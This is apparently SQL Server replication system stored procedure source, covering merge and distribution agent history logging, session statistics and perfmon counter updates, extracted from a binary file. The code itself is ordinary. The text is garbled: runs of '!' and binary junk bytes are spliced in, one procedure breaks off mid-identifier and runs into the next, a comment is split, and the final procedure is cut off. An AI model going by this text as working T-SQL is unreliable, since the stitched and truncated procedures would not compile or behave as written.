    if @runstatus = @idle or (@runstatus = @inprogress and @new_delivered_transactions > 0 and @new_delivered_commands > 0)
    begin
        dbcc addinstance ("SQL Replication Distribution", @agent_name)
        dbcc incrementinstance ("SQL Replication Distribution", "Dist:Delivered Trans/sec", @agent_name, @new_delivered_transactions)
        dbcc incrementinstance ("SQL Replication Distribution", "Dist:Delivered Cmds/sec", @agent_name, @new_delivered_commands)
        dbcc setinstance ("SQL Replication Distribution", "Dist:Delivery Latency", @agent_name, @delivery_latency)
    end

    /* 
    ** Set error id to 0 unless the user want to log errors associate with this 
    ** history message.
    */
    SELECT @error_id = 0
    IF @log_error = 1
        -- Ignore errors here. @error_id will be set to 0 in case of errors  
        EXEC sys.sp_MSget_new_errorid @error_id OUTPUT, @xactseq, @command_id
    
    -- @xact_seqno may be uninitialized for the first several messages after
    -- the start-up of the distribtion agent. Get the correct value in that case. 
    -- We must do this because distribution cleanup will use the lastest xact_seqno
    -- as cleanup boundary.
    -- Note: @last_xact_seqno might be NULL
    -- Only do this if @xact_seqno is 0, since a smaller xact_seqno might be logged due
    -- to reinited sub for immediate_sync pub.
    -- This will prevent history being messed up by one gabage history entry.
    if @xact_seqno = 0x00 and @lastrow_xact_seqno is not null
        select @xact_seqno = @lastrow_xact_seqno 

    -- Insert idle record or update if history record is already 'idle'
    IF (@existing_row_updateble = 1) and (@runstatus = @idle or @update_existing_row = 1)
    begin

        -- Attempt to update the last row if it is IDLE
        if (@runstatus = @idle)
        begin
            UPDATE MSdistribution_history SET runstatus = @runstatus, time = @current_time,
            duration = @duration, comments = @comments,
            xact_seqno = @xact_seqno, updateable_row = @this_row_updateable,
			error_id = case @error_id when 0 then error_id else @error_id end
            WHERE
            agent_id = @agent_id and
            timestamp = @lastrow_timestamp and
            ( runstatus = @runstatus or 
            (@update_existing_row = 1 and runstatus in (@idle, @inprogress) and @runstatus in (@idle, @inprogress)) )
        end
        else
        begin
            -- Attempt to update the last row if it is IDLE
            UPDATE MSdistribution_history SET runstatus = @runstatus, start_time = @start_time,
                time = @current_time,
                duration = @duration,
                xact_seqno = @xact_seqno,
                comments = @comments,
                delivered_transactions = @delivered_transactions,
                delivered_commands = @delivered_commands,
                average_commands = @average_commands,
                delivery_rate = @avg_delivery_rate,
                delivery_latency = @avg_delivery_latency,
                total_delivered_commands = @total_cmds,
                current_delivery_rate = @delivery_rate,
                current_delivery_latency = @delivery_latency,
                updateable_row = @this_row_updateable,
				error_id = case @error_id when 0 then error_id else @error_id end
                WHERE
                agent_id = @agent_id and
                timestamp = @lastrow_timestamp and
                ( runstatus = @runstatus or 
                (@update_existing_row = 1 and runstatus in (@idle, @inprogress) and @runstatus in (@idle, @inprogress)) )
        end
    
        -- Insert idle record if there is not one
        if @@ROWCOUNT = 0
        begin
            INSERT INTO MSdistribution_history (agent_id, runstatus, start_time, time, duration, comments, xact_seqno,
                delivered_transactions, delivered_commands, average_commands, delivery_rate, delivery_latency,
                total_delivered_commands, error_id, timestamp, current_delivery_rate, current_delivery_latency, updateable_row)
            VALUES (@agent_id, @runstatus, @start_time, @current_time, 
                @duration, @comments, @xact_seqno, @delivered_transactions, 
                @delivered_commands, @average_commands, @avg_delivery_rate,
                @avg_delivery_latency, @total_cmds, @error_id, NULL, @delivery_rate, @delivery_latency, @this_row_updateable)
        end
    end
    else
    begin
        INSERT INTO MSdistribution_history (agent_id, runstatus, start_time, time, duration, comments, xact_seqno,
                delivered_transactions, delivered_commands, average_commands, delivery_rate, delivery_latency,
                total_delivered_commands, error_id, timestamp, current_delivery_rate, current_delivery_latency, updateable_row)
        VALUES (@agent_id, @runstatus, @start_time, @current_time, 
            @duration, @comments, @xact_seqno, @delivered_transactions, 
            @delivered_commands, @average_commands, @avg_delivery_rate,
            @avg_delivery_latency, @total_cmds, @error_id, NULL, @delivery_rate, @delivery_latency, @this_row_updateable)
    end

    if (@raiserror_status = @validation_failure or @raiserror_status = @validation_success or
		@raiserror_status = @error_skipped)
    begin
        -- Get the "real" publication name (as opposed to 'ALL') and article name
        select @article_id = article_id from MSrepl_commands with (nolock)
        where publisher_database_id = @publisher_database_id
        and xact_seqno = @xactseq
        and command_id = @command_id
    
        select @publication = mp.publication, @publication_id = mp.publication_id
        from dbo.MSpublications as mp, dbo.MSsubscriptions as ms
        where mp.publisher_id = ms.publisher_id
        and mp.publisher_db = ms.publisher_db
        and mp.publication_id = ms.publication_id
        and ms.publisher_id = @publishe!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(*	{vK}CREATE PROCEDURE sys.sp_MSadd_merge_history 
(
    @agent_id       int,        
    @runstatus      int, 
    @comments       nvarchar(1000),
    @delivery_time  int = 0,                    /* Milliseconds */
    @download_inserts  int = 0,
    @download_updates  int = 0,
    @download_deletes  int = 0,
    @download_conflicts int = 0,
    @upload_inserts int = 0,
    @upload_updates int = 0,
    @upload_deletes int = 0,
    @upload_conflicts int = 0,
    @log_error bit = 0,
    @perfmon_increment bit = 1,
    @update_existing_row bit = 0,
    @updateable_row bit = 1, 	-- used to override history verbose level to decide
    							-- whether the row being added can be updated by another.	
    @do_raiserror bit = 1,
    @called_by_nonlogged_shutdown_detection_agent bit = 0,
    @session_id_override int = NULL
)
AS
BEGIN
	declare @start_time datetime
	declare @end_time datetime
	declare @inserts int
	declare @updates int
	declare @deletes int
	declare @conflicts int
	declare @total int
	declare @percentage decimal(10,2)
	DECLARE @current_time datetime
			,@duration int
			,@delivery_rate float
			,@perfmon_delivery_rate int
			,@perfmon_conflict_count int
			,@delivered_rows int
			,@changes int
			,@delivery_time_old  int
			,@delivered_rows_old int
			,@download_inserts_old  int 
			,@download_updates_old  int 
			,@download_deletes_old  int 
			,@download_conflicts_old int 
			,@upload_inserts_old int 
			,@upload_updates_old int 
			,@upload_deletes_old int 
			,@upload_conflicts_old int 
			,@publisher_id smallint
			,@subscriber_id smallint
			,@error_id int 
			,@startup int
			,@succeed int
			,@retry int
			,@inprogress int
			,@failure int
			,@idle int
			,@lastrow_timestamp timestamp
			,@lastssrow_timestamp timestamp
			,@agent_name nvarchar(100)
			,@publisher sysname
			,@publisher_db sysname
			,@publication sysname
			,@retcode int
			,@existing_row_updateble bit
			,@this_row_updateable bit
			,@agentclassname sysname
			,@lastrunstatus int
			,@spid_login_time datetime
			
	-- Security Check
	exec @retcode = sys.sp_MScheck_pull_access
    		@agent_id = @agent_id,
			@agent_type = 1 -- merge agent
	if @@error <> 0 or @retcode <> 0
	        return (1)

	select @start_time = getdate()		
	select @percentage= NULL
	--select @spid_login_time = login_time from sys.dm_exec_sessions where session_id = @@spid
	select @spid_login_time = NULL

	if @session_id_override is null
	begin
		-- The only time session_id is fetched
		declare @binctx binary(128)
		declare @current_session_id int, @session_id int
		SELECT @binctx = isnull(context_info(),0x00)
		set @current_session_id=CAST( @binctx AS int )
		if @current_session_id=0
		begin
		declare @logintime1 datetime
		select @logintime1 = @start_time
		
		insert into dbo.MSmerge_sessions(agent_id, start_time, runstatus, spid_login_time, spid) 
				values(@agent_id, @logintime1, 1, @spid_login_time, @@spid)
		select @current_session_id = @@IDENTITY
		if @@ERROR<>0
			return (0)
			SET @binctx = CAST( @current_session_id AS binary(128) )
			SET CONTEXT_INFO @binctx	 
		end
		set @session_id=@current_session_id
	end
	else
		set @session_id = @session_id_override
    
    select @start_time = start_time from dbo.MSmerge_sessions
    		where session_id = @session_id	-- no need for top 1 because of unique clustered index on session_id
    
	-- calculate duration for summary
	set @end_time = getdate()
	select @duration=DATEDIFF(second, @start_time, @end_time)

	-- This section is added during Yukon. >>
		
	/* 
	** Status const defined in sqlrepl.h 
	*/
	select @startup = 1
			,@succeed = 2
			,@inprogress = 3
			,@idle = 4
			,@retry = 5
			,@failure = 6
			,@delivery_time_old  = 0
			,@download_inserts_old   = 0
			,@download_updates_old   = 0
			,@download_deletes_old   = 0
			,@download_conflicts_old  = 0
			,@upload_inserts_old  = 0
			,@upload_updates_old  = 0
			,@upload_deletes_old  = 0
			,@upload_conflicts_old  = 0
			,@existing_row_updateble = 0
			,@this_row_updateable = 0

	if (@updateable_row = 1)
	begin
		select @this_row_updateable = 1
	end

    SELECT @current_time = GETDATE()

    -- Update Perfmon counter
    if @perfmon_increment = 1
    begin
        if @runstatus = @startup
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Merge", 1)
        else if (@runstatus = @succeed or @runstatus = @retry or @runstatus = @failure)
            dbcc incrementinstance ("SQL Replication Agents", "Running", "Merge", -1)
    end

    SELECT @agent_name = name, @publisher_id = publisher_id, @publisher_db = publisher_db, 
        @publication = publication from dbo.MSmerge_agents where id = @agent_id
    SELECT @publisher = srvname from master.dbo.sysservers where srvid = @publisher_id

	IF @runstatus = @inprogress or @runstatus = @idle
		BEGIN
            SELECT TOP 1 @lastrow_timestamp = timestamp,
					@existing_row_updateble = updateable_row
            FROM dbo.MSmerge_history with (rowlock)
            WHERE  agent_id = @agent_id ORDER BY timestamp DESC

            SELECT TOP 1 @lastssrow_timestamp = timestamp,
            				@start_time = start_time, 
					@download_inserts_old = download_inserts ,
                    @download_updates_old = download_updates, 
                    @download_deletes_old = download_deletes,
                    @download_conflicts_old = download_conflicts,
                    @upload_inserts_old = upload_inserts, 
                    @upload_updates_old = upload_updates,
                    @upload_deletes_old = upload_deletes,
                    @upload_conflicts_old = upload_conflicts,
                    @delivery_time_old = delivery_time
            FROM dbo.MSmerge_sessions with (rowlock)
            WHERE  session_id=@session_id
        
            select @delivered_rows_old = @download_inserts_old + 
                             @download_updates_old +
                             @download_deletes_old +
                             @upload_updates_old +
                             @upload_inserts_old +
                             @upload_deletes_old 
        END
	ELSE IF @runstatus <> 1 --1 is the Start status
		BEGIN
			SELECT TOP 1 @lastrow_timestamp = timestamp
			FROM dbo.MSmerge_history with (rowlock)
			WHERE  agent_id = @agent_id ORDER BY timestamp DESC

			SELECT TOP 1 @lastssrow_timestamp = timestamp,
						@start_time = start_time,
						@lastrunstatus = runstatus
			FROM dbo.MSmerge_sessions with (rowlock)
			WHERE session_id=@session_id

			if (@lastrunstatus = @succeed or @lastrunstatus = @failure or @lastrunstatus = @retry)
			begin
				select @start_time = @current_time
			end
		END
    ELSE
		BEGIN
			SELECT @start_time = @current_time
		END

    /* Use the current time if no corresponding start_up message logged */
    IF @start_time IS NULL
       SELECT @start_time = @current_time

    /* Calculate agent run duration */
    SELECT @duration = DATEDIFF(second, @start_time, @current_time)

	if (@start_time = @current_time and (@runstatus = @succeed or @runstatus = @failure or @runstatus = @retry))
	begin
		declare @logintime datetime
		select @logintime = NULL
		select @logintime = (select start_time from dbo.MSmerge_sessions with (NOLOCK) where session_id=@session_id)
		set @start_time = @logintime
		if (@logintime is not null)
		begin
			select @duration = DATEDIFF(second, @logintime, @current_time) 
		end
    end
                             
    select @delivered_rows = @download_inserts + 
                             @download_updates +
                             @download_deletes +
                             @upload_updates +
                             @upload_inserts +
                             @upload_deletes 

    -- Set Perfmon counters
    if @runstatus = @idle or @runstatus = @inprogress
    begin
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<	)+	,-|K}
        dbcc addinstance ("SQL Replication Merge", @agent_name)

		set @changes = @download_inserts + @download_updates + @download_deletes                             
        dbcc incrementinstance ("SQL Replication Merge", "Downloaded Changes", @agent_name, @changes)

		set @changes = @upload_updates + @upload_inserts + @upload_deletes 
        dbcc incrementinstance ("SQL Replication Merge", "Uploaded Changes", @agent_name, @changes)

        set @perfmon_conflict_count = @download_conflicts + @upload_conflicts
        dbcc incrementinstance ("SQL Replication Merge", "Conflicts", @agent_name, @perfmon_conflict_count)
    end

    if @runstatus = @inprogress  or @runstatus = @idle			-- if it is in progress, then do incremental change
    begin
        select @download_inserts = @download_inserts_old + @download_inserts
        select      @download_updates = @download_updates_old + @download_updates
        select      @download_deletes = @download_deletes_old + @download_deletes
        select      @download_conflicts = @download_conflicts_old + @download_conflicts
        select      @upload_inserts = @upload_inserts_old + @upload_inserts
        select     @upload_updates = @upload_updates_old + @upload_updates
        select     @upload_deletes = @upload_deletes_old + @upload_deletes
        select     @upload_conflicts = @upload_conflicts_old + @upload_conflicts

        select  @delivery_time = @delivery_time_old + @delivery_time
        select @delivered_rows = @delivered_rows + @delivered_rows_old
    end
    
    IF @duration <> 0 and @duration is not null
       SELECT @delivery_rate = (@delivered_rows * 1.0) / @duration
    ELSE
       SELECT @delivery_rate = 0.0

	/* 
    ** Set error id to 0 unless the user want to log errors associate with this 
    ** history message.
    */
    SELECT @error_id = 0
    IF @log_error = 1 or (@runstatus = @failure and (@called_by_nonlogged_shutdown_detection_agent = 1 or @session_id_override is not null))
	BEGIN
        -- Ignore errors here. @error_id will be set to 0 in case of errors  
        EXEC sys.sp_MSget_new_errorid @error_id OUTPUT
        
        if (@runstatus = @failure and (@called_by_nonlogged_shutdown_detection_agent = 1 or @session_id_override is not null))
        begin
			exec sys.sp_MSadd_repl_error 
				@id = @error_id,
				@error_type_id = 0,
				@source_type_id = 0,
				@source_name = NULL,
				@error_code = 0,
				@error_text = @comments,
				@session_id = @session_id
        end
	END

    -- Insert idle record or update if history record is already 'idle'
    IF (@existing_row_updateble = 1) and (@runstatus = @idle or @update_existing_row = 1)
    begin
        -- Attempt to update the last row if it is IDLE
        UPDATE dbo.MSmerge_history SET 
            		comments = @comments,
			updateable_row = @this_row_updateable,
			error_id = case @error_id when 0 then error_id else @error_id end    
            WHERE
            agent_id = @agent_id and
            timestamp = @lastrow_timestamp

        -- Insert idle record if there is not one
        if @@ROWCOUNT = 0
            INSERT INTO dbo.MSmerge_history
			(
			agent_id, comments, error_id, timestamp, updateable_row, session_id
			)
			VALUES 
			(
			@agent_id, @comments, @error_id, NULL,@this_row_updateable, @session_id
			)
    end
    else
    begin
        INSERT INTO dbo.MSmerge_history 
		(
			agent_id, comments, error_id, timestamp, updateable_row, session_id
		)
		VALUES 
		(
			@agent_id, @comments, @error_id, NULL, @this_row_updateable, @session_id
		)
    end
    
    if @session_id_override is null
    begin
		UPDATE dbo.MSmerge_sessions SET 
			runstatus = case when runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
						and spid is not null
						then runstatus 
						else @runstatus end, 
			end_time = @current_time, duration = @duration,
            delivery_time = @delivery_time, 
            delivery_rate = ISNULL(@delivery_rate, 0.0), 
            download_inserts = @download_inserts,
            download_updates = @download_updates,
            download_deletes = @download_deletes,
            download_conflicts = @download_conflicts,
            upload_inserts = @upload_inserts,
            upload_updates = @upload_updates,
            upload_deletes = @upload_deletes,
            upload_conflicts = @upload_conflicts,
            spid_login_time = @spid_login_time,
            spid = @@spid
            WHERE session_id=@session_id
    end
    else
    begin
		UPDATE dbo.MSmerge_sessions SET 
			runstatus = case when runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
						and spid is not null
						then runstatus 
						else @runstatus end, 
			end_time = @current_time, duration = @duration,
            spid_login_time = NULL,		-- when NULL then a subsequent progress message from agent will be allowed to change failed status back to running.
            spid = NULL					-- when NULL then a subsequent progress message from agent will be allowed to change failed status back to running.
            WHERE session_id=@session_id
    end

	-- Raise the appropriate error
	if @do_raiserror = 1
	begin
		select @agentclassname = formatmessage(14554)
		exec sys.sp_MSrepl_raiserror agentclassname, @agent_name, @runstatus, @comments
	end

    IF @@ERROR <> 0
        RETURN (1)

    RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,	ť`v~
-- Requires Certificate signature for catalog access
CREATE PROCEDURE sys.sp_MSadd_merge_history90
(
    @session_id                                 int output,   
    @agent_id                                   int,        
    @runstatus                                  int, 
    @comments                                   nvarchar(1000),
    @update_existing_row                        bit = 0,
    @updateable_row                             bit = 1,    -- used to override history verbose level to decide
                                                            -- whether the row being added can be updated by another. Very useful with
                                                            -- continuous mode agents.
    @log_error                                  bit,
    @update_stats                               bit,
    -- article level stats
    @phase_id                                   int,    -- UPLOAD_PHASE            1
                                                        -- DOWNLOAD_PHASE            2
                                                        -- SCHEMACHANGE_PHASE      3
                                                        -- INITIALIZATION_PHASE    4
                                                        -- SUMMARY_PHASE            5
                                                        -- PREPARE_SNAPSHOT_PHASE  6
    @article_name                               sysname,
    @article_inserts                            int,
    @article_updates                            int,
    @article_deletes                            int,
    @article_conflicts                          int,
    @article_rows_retried                       int,
    @article_percent_complete                   decimal(5,2),
    @article_estimated_changes                  int,
    @article_relative_cost                      decimal(12,2),
    --session level stats      
    @session_duration                           int,
    @delivery_time                              int,
    @upload_time                                int,
    @download_time                              int,
    @schema_change_time                         int,
    @prepare_snapshot_time                      int,
    @delivery_rate                              decimal(12,2),  
    @time_remaining                             int,         
    @session_percent_complete                   decimal(5,2),
    @session_upload_inserts                     int,
    @session_upload_updates                     int,
    @session_upload_deletes                     int,
    @session_upload_conflicts                   int,
    @session_upload_rows_retried                int,
    @session_download_inserts                   int,
    @session_download_updates                   int,
    @session_download_deletes                   int,
    @session_download_conflicts                 int,
    @session_download_rows_retried              int,
    @session_schema_changes                     int,
    @session_bulk_inserts                       int,
    @session_metadata_rows_cleanedup            int,
    @session_estimated_upload_changes           int,
    @session_estimated_download_changes         int,
    @connection_type                            int=1, -- 1 for LAN, 2 for DUN
    @subid                                      uniqueidentifier = NULL,
    @info_filter                                int = 0 -- 0 for download and upload,  1 for upload only, 2 for download only    
)
AS
begin

    declare @retcode int
            ,@current_date datetime
            ,@start_date datetime
            ,@error_id int 
            ,@idle int
            ,@succeed int
            ,@startup int
            ,@retry int
            ,@failure int
            ,@inprogress int
            ,@lastrow_timestamp timestamp
            ,@existing_row_updateble bit
            ,@this_row_updateable bit
            ,@spid_login_time datetime
            ,@agent_name nvarchar(100)
            ,@agentclassname sysname
            
            
    select    @startup = 1, @succeed = 2, @inprogress = 3, @idle = 4, @retry = 5, @failure = 6
                        
    -- Security Check
    exec @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id, @agent_type = 1 -- merge agent
    if @@error <> 0 or @retcode <> 0
            return (1)
            
    if @subid is not null
    begin
        if object_id('MSmerge_sessions', 'U') is NULL
            return 0
    end
    else
    begin
        --distributor side 
        select @agent_name = name from dbo.MSmerge_agents where id = @agent_id
    end
    
    select @current_date = getdate()
    --select @spid_login_time = login_time from sys.dm_exec_sessions where session_id = @@spid
    select @spid_login_time = NULL
    
    if @session_id is null or @session_id = 0
    begin
        select @start_date = dateadd(second, -@session_duration, @current_date)
        
        -- This has to be done whether or not @update_stats is set. This is because we need to get the session_id.
        insert into dbo.MSmerge_sessions(agent_id, start_time, end_time, duration, delivery_time, upload_time, 
            download_time, schema_change_time, prepare_snapshot_time, delivery_rate, 
            time_remaining, percent_complete, download_inserts, download_updates, download_deletes,
            download_conflicts, download_rows_retried, upload_inserts, upload_updates, upload_deletes,
            upload_conflicts, upload_rows_retried, runstatus, 
            schema_changes, bulk_inserts, metadata_rows_cleanedup, estimated_upload_changes, 
            estimated_download_changes, connection_type, current_phase_id, spid_login_time, spid)
        values(@agent_id, @start_date, @current_date, @session_duration, @delivery_time, @upload_time, @download_time, 
            @schema_change_time, @prepare_snapshot_time, @delivery_rate, @time_remaining, 
            @session_percent_complete, @session_download_inserts, @session_download_updates, @session_download_deletes,
            @session_download_conflicts, @session_download_rows_retried,
            @session_upload_inserts, @session_upload_updates, 
            @session_upload_deletes, @session_upload_conflicts, 
            @session_upload_rows_retried, @runstatus, 
            @session_schema_changes, @session_bulk_inserts, @session_metadata_rows_cleanedup, 
            @session_estimated_upload_changes, @session_estimated_download_changes, @connection_type,
            @phase_id, @spid_login_time, @@spid)
        
        select @session_id = @@identity
        
        if @session_id is null or @session_id = 0
        begin
            raiserror(14043, 16, -1, '@session_id', 'sp_MSadd_merge_history90')
            return 1
        end

         -- increment agent counter on the distributor side (@subid is null)
         if ( ( @subid is null )  and ( @runstatus = @startup ))
         begin
	        dbcc incrementinstance ("SQL Replication Agents", "Running", "Merge", 1)    
	  end

    end
    else if @update_stats = 1 
    begin
        if @info_filter = 0
        begin     
            update dbo.MSmerge_sessions set 
                end_time = @current_date, duration = datediff(second, start_time, @current_date), --@session_duration, 
                delivery_time = @delivery_time, upload_time = @upload_time, 
                download_time = @download_time, schema_change_time = @schema_change_time,
                prepare_snapshot_time = @prepare_snapshot_time,
                delivery_rate = @delivery_rate, 
                time_remaining = @time_remaining, percent_complete = @session_percent_complete,
                download_inserts = @session_download_inserts, download_updates = @session_download_updates, 
                download_deletes = @session_download_deletes, download_conflicts = @session_download_conflicts, !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-	μ3v~
                download_rows_retried = @session_download_rows_retried, 
                upload_inserts = @session_upload_inserts, upload_updates = @session_upload_updates, 
                upload_deletes = @session_upload_deletes, upload_conflicts = @session_upload_conflicts,
                upload_rows_retried = @session_upload_rows_retried,
                schema_changes = @session_schema_changes, bulk_inserts = @session_bulk_inserts,
                metadata_rows_cleanedup = @session_metadata_rows_cleanedup, 
                runstatus = case when runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
                            and @phase_id <> 4 and spid is not null
                            then runstatus 
                            else @runstatus end, 
                estimated_upload_changes = @session_estimated_upload_changes, 
                estimated_download_changes = @session_estimated_download_changes, 
                connection_type = @connection_type,
                current_phase_id = @phase_id,
                spid_login_time = @spid_login_time,
                spid = @@spid
                where session_id = @session_id
         end
         if @info_filter = 1 --upload only stat
         begin 
                update dbo.MSmerge_sessions set 
                end_time = @current_date, duration = datediff(second, start_time, @current_date), --@session_duration, 
                upload_time = @upload_time, 
                schema_change_time = @schema_change_time,
                time_remaining = @time_remaining, 
                percent_complete = @session_percent_complete,
                upload_inserts = @session_upload_inserts, 
                upload_updates = @session_upload_updates, 
                upload_deletes = @session_upload_deletes,
                upload_conflicts = @session_upload_conflicts,
                upload_rows_retried = @session_upload_rows_retried,
                schema_changes = @session_schema_changes, 
                runstatus = case when ((runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
                            and @phase_id <> 4 and spid is not null)or (runstatus = @failure))
                            then runstatus 
                            else @runstatus end, 
                estimated_upload_changes = @session_estimated_upload_changes,
                current_phase_id = @phase_id
                where session_id = @session_id
         end
         if @info_filter = 2 --download only stat
         begin 
                update dbo.MSmerge_sessions set 
                end_time = @current_date, 
                duration = datediff(second, start_time, @current_date), --@session_duration, 
                delivery_time = @delivery_time, 
                download_time = @download_time, 
                prepare_snapshot_time = @prepare_snapshot_time,
                delivery_rate = @delivery_rate, 
                time_remaining = @time_remaining, 
                percent_complete = @session_percent_complete,
                download_inserts = @session_download_inserts, 
                download_updates = @session_download_updates, 
                download_deletes = @session_download_deletes, 
                download_conflicts = @session_download_conflicts, 
                download_rows_retried = @session_download_rows_retried, 
                bulk_inserts = @session_bulk_inserts,
                metadata_rows_cleanedup = @session_metadata_rows_cleanedup, 
                runstatus = case when ((runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
                            and @phase_id <> 4 and spid is not null)or (runstatus = @failure) )
                            then runstatus 
                            else @runstatus end, 
                estimated_download_changes = @session_estimated_download_changes, 
                connection_type = @connection_type,
                current_phase_id = @phase_id,
                spid_login_time = @spid_login_time,
                spid = @@spid
                where session_id = @session_id               
         end


            -- perfmon counter

            declare @change_count int

            -- only log the counter change on the distributor side (@subid is null)
            if ( ( @subid is null )  and ( @runstatus = @idle or @runstatus = @inprogress ))
            begin
                dbcc addinstance ("SQL Replication Merge", @agent_name)

                select @change_count = @session_download_inserts + @session_download_updates + @session_download_deletes
                dbcc incrementinstance ("SQL Replication Merge", "Downloaded Changes/sec", @agent_name, @change_count)

                select @change_count = @session_upload_updates + @session_upload_inserts + @session_upload_deletes
                dbcc incrementinstance("SQL Replication Merge", "Uploaded Changes/sec", @agent_name, @change_count)

                select @change_count = @session_download_conflicts + @session_upload_conflicts
                dbcc incrementinstance("SQL Replication Merge", "Conflicts/sec", @agent_name, @change_count);
            end 
            
    end
    else
    begin
        if @info_filter = 0
        begin
           update dbo.MSmerge_sessions set 
            end_time = @current_date, duration = datediff(second, start_time, @current_date), --@session_duration,
            runstatus = case when runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
                        and @phase_id <> 4 and spid is not null
                        then runstatus 
                        else @runstatus end,
            current_phase_id = case when runstatus in (@succeed, @retry, @failure) then 0 else @phase_id end,
            spid_login_time = @spid_login_time,
            spid = @@spid
            where session_id = @session_id
        end
        
        if @info_filter = 1
        begin
            update dbo.MSmerge_sessions set 
            end_time = @current_date, 
            duration = datediff(second, start_time, @current_date), --@session_duration,
            runstatus = case when ((runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
                        and @phase_id <> 4 and spid is not null) or (runstatus = @failure) )
                        then runstatus 
                        else @runstatus end,

            current_phase_id = case when runstatus in (@succeed, @retry, @failure) then 0 else @phase_id end

            where session_id = @session_id       
        end

        if @info_filter = 2
        begin
            update dbo.MSmerge_sessions set 
            end_time = @current_date, 
            duration = datediff(second, start_time, @current_date), --@session_duration,
            runstatus = case when ((runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
                        and @phase_id <> 4 and spid is not null) or (runstatus = @failure) )
                        then runstatus 
                        else @runstatus end,
            current_phase_id = case when runstatus in (@succeed, @retry, @failure) then 0 else @phase_id end,
            spid_login_time = @spid_login_time,
            spid = @@spid
            where session_id = @session_id       
        end

    end
    
    if @subid is not null
    begin
        -- clean up all sessions and related rows past last 10 sessions for this subid and only keep the latest 5k rows for this subid for each session
            
        exec @retcode = sys.sp_MScleanup_subscriber_history @subid = @subid, @keep_sessions = 10
        if @retcode <> 0
            return 1
        
        -- not doing dy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<t.	J*~namic SQL can fail on distributor where the subid column does not exist
        -- in MSmerge_sessions.
        exec sys.sp_executesql N'update dbo.MSmerge_sessions set subid = @subid where session_id = @session_id',
                            N'@subid uniqueidentifier, @session_id int', @subid=@subid, @session_id=@session_id
    end

    if @article_name is not null and @article_name <> '' and @update_stats = 1
    begin
        if exists (select * from dbo.MSmerge_articlehistory with (nolock)
                    where session_id = @session_id and phase_id = @phase_id and article_name = @article_name)
            update dbo.MSmerge_articlehistory set 
                duration = datediff(second, start_time, @current_date), inserts    = @article_inserts, updates = @article_updates,
                deletes = @article_deletes, conflicts = @article_conflicts, 
                rows_retried = @article_rows_retried, percent_complete = @article_percent_complete,
                estimated_changes = @article_estimated_changes, relative_cost = @article_relative_cost
            where session_id = @session_id and phase_id = @phase_id and article_name = @article_name
        else
        begin
            select top 1 @current_date = start_time from dbo.MSmerge_articlehistory with (nolock)
                    where session_id = @session_id and phase_id = @phase_id
                    order by start_time desc -- if no row is found, @current_date will stay at its original value
                                                -- (set to getdate() earlier).
                    
            insert into dbo.MSmerge_articlehistory (session_id, phase_id, article_name, start_time, duration, inserts,
                updates, deletes, conflicts, rows_retried, percent_complete, estimated_changes, relative_cost)
            values(@session_id, @phase_id, @article_name, @current_date, 0, @article_inserts, @article_updates, 
                @article_deletes, @article_conflicts, @article_rows_retried,
                @article_percent_complete, @article_estimated_changes, 
                @article_relative_cost)
        end
    end
    
    if @phase_id = 5 or @runstatus = @succeed or @log_error = 1
    begin
        declare @total_upload_article_cost decimal(12,2), @total_download_article_cost decimal(12,2)
        
        if @info_filter = 0
        begin
            update dbo.MSmerge_sessions set percent_complete = 100, time_remaining = 0,
                estimated_upload_changes = upload_inserts + upload_updates + upload_deletes,
                estimated_download_changes = download_inserts + download_updates + download_deletes,
                runstatus = case when runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
			                and @phase_id <> 4 and spid is not null
						    then runstatus 
						    else @runstatus end,
                current_phase_id = 0
            where session_id = @session_id
        end
        if @info_filter = 1
        begin
             update dbo.MSmerge_sessions set 
                percent_complete = 100, 
                time_remaining = 0,
                estimated_upload_changes = upload_inserts + upload_updates + upload_deletes,
                runstatus = case when ((runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
			                and @phase_id <> 4 and spid is not null) or (runstatus = @failure) )
						    then runstatus 
						    else @runstatus end,
                current_phase_id = 0
            where session_id = @session_id         
        end
        if @info_filter = 2
        begin
             update dbo.MSmerge_sessions set 
                percent_complete = 100, 
                time_remaining = 0,
                estimated_download_changes = download_inserts + download_updates + download_deletes,
                runstatus = case when ((runstatus in (@succeed, @retry, @failure) and @runstatus not in (@succeed, @retry, @failure) 
			                and @phase_id <> 4 and spid is not null ) or (runstatus = @failure) )
						    then runstatus 
						    else @runstatus end,
                current_phase_id = 0
            where session_id = @session_id           
        end

        
        select @total_upload_article_cost = isnull(sum(relative_cost),0) from dbo.MSmerge_articlehistory
            where session_id = @session_id and phase_id = 1
                                                
